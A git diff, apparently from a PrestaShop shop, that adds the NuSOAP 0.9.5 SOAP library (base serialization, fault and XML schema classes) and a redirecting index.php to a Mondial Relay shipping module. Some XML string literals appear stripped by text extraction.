        '; + // if scalar + } else { + $buffer .= ""; + } + } else { + $buffer .= ""; + } + return $buffer; + } + + /** + * adds a complex type to the schema + * + * example: array + * + * addType( + * 'ArrayOfstring', + * 'complexType', + * 'array', + * '', + * 'SOAP-ENC:Array', + * array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'string[]'), + * 'xsd:string' + * ); + * + * example: PHP associative array ( SOAP Struct ) + * + * addType( + * 'SOAPStruct', + * 'complexType', + * 'struct', + * 'all', + * array('myVar'=> array('name'=>'myVar','type'=>'string') + * ); + * + * @param name + * @param typeClass (complexType|simpleType|attribute) + * @param phpType: currently supported are array and struct (php assoc array) + * @param compositor (all|sequence|choice) + * @param restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param elements = array ( name = array(name=>'',type=>'') ) + * @param attrs = array( + * array( + * 'ref' => "http://schemas.xmlsoap.org/soap/encoding/:arrayType", + * "http://schemas.xmlsoap.org/wsdl/:arrayType" => "string[]" + * ) + * ) + * @param arrayType: namespace:name (http://www.w3.org/2001/XMLSchema:string) + * @access public + * @see getTypeDef + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType=''){ + $this->complexTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'compositor'=> $compositor, + 'restrictionBase' => $restrictionBase, + 'elements' => $elements, + 'attrs' => $attrs, + 'arrayType' => $arrayType + ); + + $this->xdebug("addComplexType $name:"); + $this->appendDebug($this->varDump($this->complexTypes[$name])); + } + + /** + * adds a simple type to the schema + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @access public + * @see nusoap_xmlschema + * @see getTypeDef + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $this->simpleTypes[$name] = array( + 'name' => $name, + 'typeClass' => $typeClass, + 'phpType' => $phpType, + 'type' => $restrictionBase, + 'enumeration' => $enumeration + ); + + $this->xdebug("addSimpleType $name:"); + $this->appendDebug($this->varDump($this->simpleTypes[$name])); + } + + /** + * adds an element to the schema + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + if (! $this->getPrefix($attrs['type'])) { + $attrs['type'] = $this->schemaTargetNamespace . ':' . $attrs['type']; + } + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + + $this->xdebug("addElement " . $attrs['name']); + $this->appendDebug($this->varDump($this->elements[ $attrs['name'] ])); + } +} + +/** + * Backward compatibility + */ +class XMLSchema extends nusoap_xmlschema { +} + + diff --git a/modules/mondialrelay2/lib/nusoap/index.php b/modules/mondialrelay2/lib/nusoap/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/lib/nusoap/nusoap.php b/modules/mondialrelay2/lib/nusoap/nusoap.php new file mode 100755 index 0000000..2a18300 --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/nusoap.php @@ -0,0 +1,8149 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_base { + /** + * Identification for HTTP headers. + * + * @var string + * @access private + */ + var $title = 'NuSOAP'; + /** + * Version for HTTP headers. + * + * @var string + * @access private + */ + var $version = '0.9.5'; + /** + * CVS revision for HTTP headers. + * + * @var string + * @access private + */ + var $revision = '$Revision$'; + /** + * Current error string (manipulated by getError/setError) + * + * @var string + * @access private + */ + var $error_str = ''; + /** + * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) + * + * @var string + * @access private + */ + var $debug_str = ''; + /** + * toggles automatic encoding of special characters as entities + * (should always be true, I think) + * + * @var boolean + * @access private + */ + var $charencoding = true; + /** + * the debug level for this instance + * + * @var integer + * @access private + */ + var $debugLevel; + + /** + * set schema version + * + * @var string + * @access public + */ + var $XMLSchemaVersion = 'http://www.w3.org/2001/XMLSchema'; + + /** + * charset encoding for outgoing messages + * + * @var string + * @access public + */ + var $soap_defencoding = 'ISO-8859-1'; + //var $soap_defencoding = 'UTF-8'; + + /** + * namespaces in an array of prefix => uri + * + * this is "seeded" by a set of constants, but it may be altered by code + * + * @var array + * @access public + */ + var $namespaces = array( + 'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xsd' => 'http://www.w3.org/2001/XMLSchema', + 'xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/' + ); + + /** + * namespaces used in the current context, e.g. during serialization + * + * @var array + * @access private + */ + var $usedNamespaces = array(); + + /** + * XML Schema types in an array of uri => (array of xml type => php type) + * is this legacy yet? + * no, this is used by the nusoap_xmlschema class to verify type => namespace mappings. + * @var array + * @access public + */ + var $typemap = array( + 'http://www.w3.org/2001/XMLSchema' => array( + 'string'=>'string','boolean'=>'boolean','float'=>'double','double'=>'double','decimal'=>'double', + 'duration'=>'','dateTime'=>'string','time'=>'string','date'=>'string','gYearMonth'=>'', + 'gYear'=>'','gMonthDay'=>'','gDay'=>'','gMonth'=>'','hexBinary'=>'string','base64Binary'=>'string', + // abstract "any" types + 'anyType'=>'string','anySimpleType'=>'string', + // derived datatypes + 'normalizedString'=>'string','token'=>'string','language'=>'','NMTOKEN'=>'','NMTOKENS'=>'','Name'=>'','NCName'=>'','ID'=>'', + 'IDREF'=>'','IDREFS'=>'','ENTITY'=>'','ENTITIES'=>'','integer'=>'integer','nonPositiveInteger'=>'integer', + 'negativeInteger'=>'integer','long'=>'integer','int'=>'integer','short'=>'integer','byte'=>'integer','nonNegativeInteger'=>'integer', + 'unsignedLong'=>'','unsignedInt'=>'','unsignedShort'=>'','unsignedByte'=>'','positiveInteger'=>''), + 'http://www.w3.org/2000/10/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://www.w3.org/1999/XMLSchema' => array( + 'i4'=>'','int'=>'integer','boolean'=>'boolean','string'=>'string','double'=>'double', + 'float'=>'double','dateTime'=>'string', + 'timeInstant'=>'string','base64Binary'=>'string','base64'=>'string','ur-type'=>'array'), + 'http://soapinterop.org/xsd' => array('SOAPStruct'=>'struct'), + 'http://schemas.xmlsoap.org/soap/encoding/' => array('base64'=>'string','array'=>'array','Array'=>'array'), + 'http://xml.apache.org/xml-soap' => array('Map') + ); + + /** + * XML entities to convert + * + * @var array + * @access public + * @deprecated + * @see expandEntities + */ + var $xmlEntities = array('quot' => '"','amp' => '&', + 'lt' => '<','gt' => '>','apos' => "'"); + + /** + * constructor + * + * @access public + */ + function nusoap_base() { + $this->debugLevel = $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * gets the global debug level, which applies to future instances + * + * @return integer Debug level 0-9, where 0 turns off + * @access public + */ + function getGlobalDebugLevel() { + return $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel']; + } + + /** + * sets the global debug level, which applies to future instances + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setGlobalDebugLevel($level) { + $GLOBALS['_transient']['static']['nusoap_base']['globalDebugLevel'] = $level; + } + + /** + * gets the debug level for this instance + * + * @return int Debug level 0-9, where 0 turns off + * @access public + */ + function getDebugLevel() { + return $this->debugLevel; + } + + /** + * sets the debug level for this instance + * + * @param int $level Debug level 0-9, where 0 turns off + * @access public + */ + function setDebugLevel($level) { + $this->debugLevel = $level; + } + + /** + * adds debug data to the instance debug string with formatting + * + * @param string $string debug data + * @access private + */ + function debug($string){ + if ($this->debugLevel > 0) { + $this->appendDebug($this->getmicrotime().' '.get_class($this).": $string\n"); + } + } + + /** + * adds debug data to the instance debug string without formatting + * + * @param string $string debug data + * @access public + */ + function appendDebug($string){ + if ($this->debugLevel > 0) { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str .= $string; + } + } + + /** + * clears the current debug data for this instance + * + * @access public + */ + function clearDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + $this->debug_str = ''; + } + + /** + * gets the current debug data for this instance + * + * @return debug data + * @access public + */ + function &getDebug() { + // it would be nice to use a memory stream here to use + // memory more efficiently + return $this->debug_str; + } + + /** + * gets the current debug data for this instance as an XML comment + * this may change the contents of the debug data + * + * @return debug data as an XML comment + * @access public + */ + function &getDebugAsXMLComment() { + // it would be nice to use a memory stream here to use + // memory more efficiently + while (strpos($this->debug_str, '--')) { + $this->debug_str = str_replace('--', '- -', $this->debug_str); + } + $ret = ""; + return $ret; + } + + /** + * expands entities, e.g. changes '<' to '<'. + * + * @param string $val The string in which to expand entities. + * @access private + */ + function expandEntities($val) { + if ($this->charencoding) { + $val = str_replace('&', '&', $val); + $val = str_replace("'", ''', $val); + $val = str_replace('"', '"', $val); + $val = str_replace('<', '<', $val); + $val = str_replace('>', '>', $val); + } + return $val; + } + + /** + * returns error string if present + * + * @return mixed error string or false + * @access public + */ + function getError(){ + if($this->error_str != ''){ + return $this->error_str; + } + return false; + } + + /** + * sets error string + * + * @return boolean $string error string + * @access private + */ + function setError($str){ + $this->error_str = $str; + } + + /** + * detect if array is a simple array or a struct (associative array) + * + * @param mixed $val The PHP array + * @return string (arraySimple|arrayStruct) + * @access private + */ + function isArraySimpleOrStruct($val) { + $keyList = array_keys($val); + foreach ($keyList as $keyListValue) { + if (!is_int($keyListValue)) { + return 'arrayStruct'; + } + } + return 'arraySimple'; + } + + /** + * serializes PHP values in accordance w/ section 5. Type information is + * not serialized if $use == 'literal'. + * + * @param mixed $val The value to serialize + * @param string $name The name (local part) of the XML element + * @param string $type The XML schema type (local part) for the element + * @param string $name_ns The namespace for the name of the XML element + * @param string $type_ns The namespace for the type of the element + * @param array $attributes The attributes to serialize as name=>value pairs + * @param string $use The WSDL "use" (encoded|literal) + * @param boolean $soapval Whether this is called from soapval. + * @return string The serialized element, possibly with child elements + * @access public + */ + function serialize_val($val,$name=false,$type=false,$name_ns=false,$type_ns=false,$attributes=false,$use='encoded',$soapval=false) { + $this->debug("in serialize_val: name=$name, type=$type, name_ns=$name_ns, type_ns=$type_ns, use=$use, soapval=$soapval"); + $this->appendDebug('value=' . $this->varDump($val)); + $this->appendDebug('attributes=' . $this->varDump($attributes)); + + if (is_object($val) && get_class($val) == 'soapval' && (! $soapval)) { + $this->debug("serialize_val: serialize soapval"); + $xml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + $this->debug("serialize_val of soapval returning $xml"); + return $xml; + } + // force valid name if necessary + if (is_numeric($name)) { + $name = '__numeric_' . $name; + } elseif (! $name) { + $name = 'noname'; + } + // if name has ns, add ns prefix to name + $xmlns = ''; + if($name_ns){ + $prefix = 'nu'.rand(1000,9999); + $name = $prefix.':'.$name; + $xmlns .= " xmlns:$prefix=\"$name_ns\""; + } + // if type is prefixed, create type prefix + if($type_ns != '' && $type_ns == $this->namespaces['xsd']){ + // need to fix this. shouldn't default to xsd if no ns specified + // w/o checking against typemap + $type_prefix = 'xsd'; + } elseif($type_ns){ + $type_prefix = 'ns'.rand(1000,9999); + $xmlns .= " xmlns:$type_prefix=\"$type_ns\""; + } + // serialize attributes if present + $atts = ''; + if($attributes){ + foreach($attributes as $k => $v){ + $atts .= " $k=\"".$this->expandEntities($v).'"'; + } + } + // serialize null value + if (is_null($val)) { + $this->debug("serialize_val: serialize null"); + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$xmlns$atts/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + $xml = "<$name$xmlns$type_str$atts xsi:nil=\"true\"/>"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // serialize if an xsd built-in primitive type + if($type != '' && isset($this->typemap[$this->XMLSchemaVersion][$type])){ + $this->debug("serialize_val: serialize xsd built-in primitive type"); + if (is_bool($val)) { + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + } else if (is_string($val)) { + $val = $this->expandEntities($val); + } + if ($use == 'literal') { + $xml = "<$name$xmlns$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } else { + $xml = "<$name$xmlns xsi:type=\"xsd:$type\"$atts>$val"; + $this->debug("serialize_val returning $xml"); + return $xml; + } + } + // detect type and serialize + $xml = ''; + switch(true) { + case (is_bool($val) || $type == 'boolean'): + $this->debug("serialize_val: serialize boolean"); + if ($type == 'boolean') { + $val = $val ? 'true' : 'false'; + } elseif (! $val) { + $val = 0; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:boolean\"$atts>$val"; + } + break; + case (is_int($val) || is_long($val) || $type == 'int'): + $this->debug("serialize_val: serialize int"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:int\"$atts>$val"; + } + break; + case (is_float($val)|| is_double($val) || $type == 'float'): + $this->debug("serialize_val: serialize float"); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:float\"$atts>$val"; + } + break; + case (is_string($val) || $type == 'string'): + $this->debug("serialize_val: serialize string"); + $val = $this->expandEntities($val); + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$val"; + } else { + $xml .= "<$name$xmlns xsi:type=\"xsd:string\"$atts>$val"; + } + break; + case is_object($val): + $this->debug("serialize_val: serialize object"); + if (get_class($val) == 'soapval') { + $this->debug("serialize_val: serialize soapval object"); + $pXml = $val->serialize($use); + $this->appendDebug($val->getDebug()); + $val->clearDebug(); + } else { + if (! $name) { + $name = get_class($val); + $this->debug("In serialize_val, used class name $name as element name"); + } else { + $this->debug("In serialize_val, do not override name $name for element name for class " . get_class($val)); + } + foreach(get_object_vars($val) as $k => $v){ + $pXml = isset($pXml) ? $pXml.$this->serialize_val($v,$k,false,false,false,false,$use) : $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>$pXml"; + } else { + $xml .= "<$name$xmlns$type_str$atts>$pXml"; + } + break; + break; + case (is_array($val) || $type): + // detect if struct or array + $valueType = $this->isArraySimpleOrStruct($val); + if($valueType=='arraySimple' || preg_match('/^ArrayOf/',$type)){ + $this->debug("serialize_val: serialize array"); + $i = 0; + if(is_array($val) && count($val)> 0){ + foreach($val as $v){ + if(is_object($v) && get_class($v) == 'soapval'){ + $tt_ns = $v->type_ns; + $tt = $v->type; + } elseif (is_array($v)) { + $tt = $this->isArraySimpleOrStruct($v); + } else { + $tt = gettype($v); + } + $array_types[$tt] = 1; + // TODO: for literal, the name should be $name + $xml .= $this->serialize_val($v,'item',false,false,false,false,$use); + ++$i; + } + if(count($array_types) > 1){ + $array_typename = 'xsd:anyType'; + } elseif(isset($tt) && isset($this->typemap[$this->XMLSchemaVersion][$tt])) { + if ($tt == 'integer') { + $tt = 'int'; + } + $array_typename = 'xsd:'.$tt; + } elseif(isset($tt) && $tt == 'arraySimple'){ + $array_typename = 'SOAP-ENC:Array'; + } elseif(isset($tt) && $tt == 'arrayStruct'){ + $array_typename = 'unnamed_struct_use_soapval'; + } else { + // if type is prefixed, create type prefix + if ($tt_ns != '' && $tt_ns == $this->namespaces['xsd']){ + $array_typename = 'xsd:' . $tt; + } elseif ($tt_ns) { + $tt_prefix = 'ns' . rand(1000, 9999); + $array_typename = "$tt_prefix:$tt"; + $xmlns .= " xmlns:$tt_prefix=\"$tt_ns\""; + } else { + $array_typename = $tt; + } + } + $array_type = $i; + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"".$array_typename."[$array_type]\""; + } + // empty array + } else { + if ($use == 'literal') { + $type_str = ''; + } else if (isset($type) && isset($type_prefix)) { + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = " xsi:type=\"SOAP-ENC:Array\" SOAP-ENC:arrayType=\"xsd:anyType[0]\""; + } + } + // TODO: for array in literal, there is no wrapper here + $xml = "<$name$xmlns$type_str$atts>".$xml.""; + } else { + // got a struct + $this->debug("serialize_val: serialize struct"); + if(isset($type) && isset($type_prefix)){ + $type_str = " xsi:type=\"$type_prefix:$type\""; + } else { + $type_str = ''; + } + if ($use == 'literal') { + $xml .= "<$name$xmlns$atts>"; + } else { + $xml .= "<$name$xmlns$type_str$atts>"; + } + foreach($val as $k => $v){ + // Apache Map + if ($type == 'Map' && $type_ns == 'http://xml.apache.org/xml-soap') { + $xml .= ''; + $xml .= $this->serialize_val($k,'key',false,false,false,false,$use); + $xml .= $this->serialize_val($v,'value',false,false,false,false,$use); + $xml .= ''; + } else { + $xml .= $this->serialize_val($v,$k,false,false,false,false,$use); + } + } + $xml .= ""; + } + break; + default: + $this->debug("serialize_val: serialize unknown"); + $xml .= 'not detected, got '.gettype($val).' for '.$val; + break; + } + $this->debug("serialize_val returning $xml"); + return $xml; + } + + /** + * serializes a message + * + * @param string $body the XML of the SOAP body + * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array + * @param array $namespaces optional the namespaces used in generating the body and headers + * @param string $style optional (rpc|document) + * @param string $use optional (encoded|literal) + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @return string the message + * @access public + */ + function serializeEnvelope($body,$headers=false,$namespaces=array(),$style='rpc',$use='encoded',$encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'){ + // TODO: add an option to automatically run utf8_encode on $body and $headers + // if $this->soap_defencoding is UTF-8. Not doing this automatically allows + // one to send arbitrary UTF-8 characters, not just characters that map to ISO-8859-1 + + $this->debug("In serializeEnvelope length=" . strlen($body) . " body (max 1000 characters)=" . substr($body, 0, 1000) . " style=$style use=$use encodingStyle=$encodingStyle"); + $this->debug("headers:"); + $this->appendDebug($this->varDump($headers)); + $this->debug("namespaces:"); + $this->appendDebug($this->varDump($namespaces)); + + // serialize namespaces + $ns_string = ''; + foreach(array_merge($this->namespaces,$namespaces) as $k => $v){ + $ns_string .= " xmlns:$k=\"$v\""; + } + if($encodingStyle) { + $ns_string = " SOAP-ENV:encodingStyle=\"$encodingStyle\"$ns_string"; + } + + // serialize headers + if($headers){ + if (is_array($headers)) { + $xml = ''; + foreach ($headers as $k => $v) { + if (is_object($v) && get_class($v) == 'soapval') { + $xml .= $this->serialize_val($v, false, false, false, false, false, $use); + } else { + $xml .= $this->serialize_val($v, $k, false, false, false, false, $use); + } + } + $headers = $xml; + $this->debug("In serializeEnvelope, serialized array of headers to $headers"); + } + $headers = "".$headers.""; + } + // serialize envelope + return + 'soap_defencoding .'"?'.">". + '". + $headers. + "". + $body. + "". + ""; + } + + /** + * formats a string to be inserted into an HTML stream + * + * @param string $str The string to format + * @return string The formatted string + * @access public + * @deprecated + */ + function formatDump($str){ + $str = htmlspecialchars($str); + return nl2br($str); + } + + /** + * contracts (changes namespace to prefix) a qualified name + * + * @param string $qname qname + * @return string contracted qname + * @access private + */ + function contractQname($qname){ + // get element namespace + //$this->xdebug("Contract $qname"); + if (strrpos($qname, ':')) { + // get unqualified name + $name = substr($qname, strrpos($qname, ':') + 1); + // get ns + $ns = substr($qname, 0, strrpos($qname, ':')); + $p = $this->getPrefixFromNamespace($ns); + if ($p) { + return $p . ':' . $name; + } + return $qname; + } else { + return $qname; + } + } + + /** + * expands (changes prefix to namespace) a qualified name + * + * @param string $qname qname + * @return string expanded qname + * @access private + */ + function expandQname($qname){ + // get element prefix + if(strpos($qname,':') && !preg_match('/^http:\/\//',$qname)){ + // get unqualified name + $name = substr(strstr($qname,':'),1); + // get ns prefix + $prefix = substr($qname,0,strpos($qname,':')); + if(isset($this->namespaces[$prefix])){ + return $this->namespaces[$prefix].':'.$name; + } else { + return $qname; + } + } else { + return $qname; + } + } + + /** + * returns the local part of a prefixed string + * returns the original string, if not prefixed + * + * @param string $str The prefixed string + * @return string The local part + * @access public + */ + function getLocalPart($str){ + if($sstr = strrchr($str,':')){ + // get unqualified name + return substr( $sstr, 1 ); + } else { + return $str; + } + } + + /** + * returns the prefix part of a prefixed string + * returns false, if not prefixed + * + * @param string $str The prefixed string + * @return mixed The prefix or false if there is no prefix + * @access public + */ + function getPrefix($str){ + if($pos = strrpos($str,':')){ + // get prefix + return substr($str,0,$pos); + } + return false; + } + + /** + * pass it a prefix, it returns a namespace + * + * @param string $prefix The prefix + * @return mixed The namespace, false if no namespace has the specified prefix + * @access public + */ + function getNamespaceFromPrefix($prefix){ + if (isset($this->namespaces[$prefix])) { + return $this->namespaces[$prefix]; + } + //$this->setError("No namespace registered for prefix '$prefix'"); + return false; + } + + /** + * returns the prefix for a given namespace (or prefix) + * or false if no prefixes registered for the given namespace + * + * @param string $ns The namespace + * @return mixed The prefix, false if the namespace has no prefixes + * @access public + */ + function getPrefixFromNamespace($ns) { + foreach ($this->namespaces as $p => $n) { + if ($ns == $n || $ns == $p) { + $this->usedNamespaces[$p] = $n; + return $p; + } + } + return false; + } + + /** + * returns the time in ODBC canonical form with microseconds + * + * @return string The time in ODBC canonical form with microseconds + * @access public + */ + function getmicrotime() { + if (function_exists('gettimeofday')) { + $tod = gettimeofday(); + $sec = $tod['sec']; + $usec = $tod['usec']; + } else { + $sec = time(); + $usec = 0; + } + return strftime('%Y-%m-%d %H:%M:%S', $sec) . '.' . sprintf('%06d', $usec); + } + + /** + * Returns a string with the output of var_dump + * + * @param mixed $data The variable to var_dump + * @return string The output of var_dump + * @access public + */ + function varDump($data) { + ob_start(); + var_dump($data); + $ret_val = ob_get_contents(); + ob_end_clean(); + return $ret_val; + } + + /** + * represents the object as a string + * + * @return string + * @access public + */ + function __toString() { + return $this->varDump($this); + } +} + +// XML Schema Datatype Helper Functions + +//xsd:dateTime helpers + +/** +* convert unix timestamp to ISO 8601 compliant date string +* +* @param int $timestamp Unix time stamp +* @param boolean $utc Whether the time stamp is UTC or local +* @return mixed ISO 8601 date string or false +* @access public +*/ +function timestamp_to_iso8601($timestamp,$utc=true){ + $datestr = date('Y-m-d\TH:i:sO',$timestamp); + $pos = strrpos($datestr, "+"); + if ($pos === FALSE) { + $pos = strrpos($datestr, "-"); + } + if ($pos !== FALSE) { + if (strlen($datestr) == $pos + 5) { + $datestr = substr($datestr, 0, $pos + 3) . ':' . substr($datestr, -2); + } + } + if($utc){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]*)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + + if(preg_match($pattern,$datestr,$regs)){ + return sprintf('%04d-%02d-%02dT%02d:%02d:%02dZ',$regs[1],$regs[2],$regs[3],$regs[4],$regs[5],$regs[6]); + } + return false; + } else { + return $datestr; + } +} + +/** +* convert ISO 8601 compliant date string to unix timestamp +* +* @param string $datestr ISO 8601 compliant date string +* @return mixed Unix timestamp (int) or false +* @access public +*/ +function iso8601_to_timestamp($datestr){ + $pattern = '/'. + '([0-9]{4})-'. // centuries & years CCYY- + '([0-9]{2})-'. // months MM- + '([0-9]{2})'. // days DD + 'T'. // separator T + '([0-9]{2}):'. // hours hh: + '([0-9]{2}):'. // minutes mm: + '([0-9]{2})(\.[0-9]+)?'. // seconds ss.ss... + '(Z|[+\-][0-9]{2}:?[0-9]{2})?'. // Z to indicate UTC, -/+HH:MM:SS.SS... for local tz's + '/'; + if(preg_match($pattern,$datestr,$regs)){ + // not utc + if($regs[8] != 'Z'){ + $op = substr($regs[8],0,1); + $h = substr($regs[8],1,2); + $m = substr($regs[8],strlen($regs[8])-2,2); + if($op == '-'){ + $regs[4] = $regs[4] + $h; + $regs[5] = $regs[5] + $m; + } elseif($op == '+'){ + $regs[4] = $regs[4] - $h; + $regs[5] = $regs[5] - $m; + } + } + return gmmktime($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); +// return strtotime("$regs[1]-$regs[2]-$regs[3] $regs[4]:$regs[5]:$regs[6]Z"); + } else { + return false; + } +} + +/** +* sleeps some number of microseconds +* +* @param string $usec the number of microseconds to sleep +* @access public +* @deprecated +*/ +function usleepWindows($usec) +{ + $start = gettimeofday(); + + do + { + $stop = gettimeofday(); + $timePassed = 1000000 * ($stop['sec'] - $start['sec']) + + $stop['usec'] - $start['usec']; + } + while ($timePassed < $usec); +} + +?> +* @version $Id$ +* @access public +*/ +class nusoap_fault extends nusoap_base { + /** + * The fault code (client|server) + * @var string + * @access private + */ + var $faultcode; + /** + * The fault actor + * @var string + * @access private + */ + var $faultactor; + /** + * The fault string, a description of the fault + * @var string + * @access private + */ + var $faultstring; + /** + * The fault detail, typically a string or array of string + * @var mixed + * @access private + */ + var $faultdetail; + + /** + * constructor + * + * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) + * @param string $faultactor only used when msg routed between multiple actors + * @param string $faultstring human readable error message + * @param mixed $faultdetail detail, typically a string or array of string + */ + function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ + parent::nusoap_base(); + $this->faultcode = $faultcode; + $this->faultactor = $faultactor; + $this->faultstring = $faultstring; + $this->faultdetail = $faultdetail; + } + + /** + * serialize a fault + * + * @return string The serialization of the fault instance. + * @access public + */ + function serialize(){ + $ns_string = ''; + foreach($this->namespaces as $k => $v){ + $ns_string .= "\n xmlns:$k=\"$v\""; + } + $return_msg = + 'soap_defencoding.'"?>'. + '\n". + ''. + ''. + $this->serialize_val($this->faultcode, 'faultcode'). + $this->serialize_val($this->faultactor, 'faultactor'). + $this->serialize_val($this->faultstring, 'faultstring'). + $this->serialize_val($this->faultdetail, 'detail'). + ''. + ''. + ''; + return $return_msg; + } +} + +/** + * Backward compatibility + */ +class soap_fault extends nusoap_fault { +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_xmlschema extends nusoap_base { + + // files + var $schema = ''; + var $xml = ''; + // namespaces + var $enclosingNamespaces; + // schema info + var $schemaInfo = array(); + var $schemaTargetNamespace = ''; + // types, elements, attributes defined by the schema + var $attributes = array(); + var $complexTypes = array(); + var $complexTypeStack = array(); + var $currentComplexType = null; + var $elements = array(); + var $elementStack = array(); + var $currentElement = null; + var $simpleTypes = array(); + var $simpleTypeStack = array(); + var $currentSimpleType = null; + // imports + var $imports = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + var $message = array(); + var $defaultNamespace = array(); + + /** + * constructor + * + * @param string $schema schema document URI + * @param string $xml xml document URI + * @param string $namespaces namespaces defined in enclosing XML + * @access public + */ + function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ + parent::nusoap_base(); + $this->debug('nusoap_xmlschema class instantiated, inside constructor'); + // files + $this->schema = $schema; + $this->xml = $xml; + + // namespaces + $this->enclosingNamespaces = $namespaces; + $this->namespaces = array_merge($this->namespaces, $namespaces); + + // parse schema file + if($schema != ''){ + $this->debug('initial schema file: '.$schema); + $this->parseFile($schema, 'schema'); + } + + // parse xml file + if($xml != ''){ + $this->debug('initial xml file: '.$xml); + $this->parseFile($xml, 'xml'); + } + + } + + /** + * parse an XML file + * + * @param string $xml path/URL to XML file + * @param string $type (schema | xml) + * @return boolean + * @access public + */ + function parseFile($xml,$type){ + // parse xml file + if($xml != ""){ + $xmlStr = @join("",@file($xml)); + if($xmlStr == ""){ + $msg = 'Error reading XML from '.$xml; + $this->setError($msg); + $this->debug($msg); + return false; + } else { + $this->debug("parsing $xml"); + $this->parseString($xmlStr,$type); + $this->debug("done parsing $xml"); + return true; + } + } + return false; + } + + /** + * parse an XML string + * + * @param string $xml path or URL + * @param string $type (schema|xml) + * @access private + */ + function parseString($xml,$type){ + // parse xml string + if($xml != ""){ + + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + + // Set the object for the parser. + xml_set_object($this->parser, $this); + + // Set the element handlers for the parser. + if($type == "schema"){ + xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); + xml_set_character_data_handler($this->parser,'schemaCharacterData'); + } elseif($type == "xml"){ + xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); + 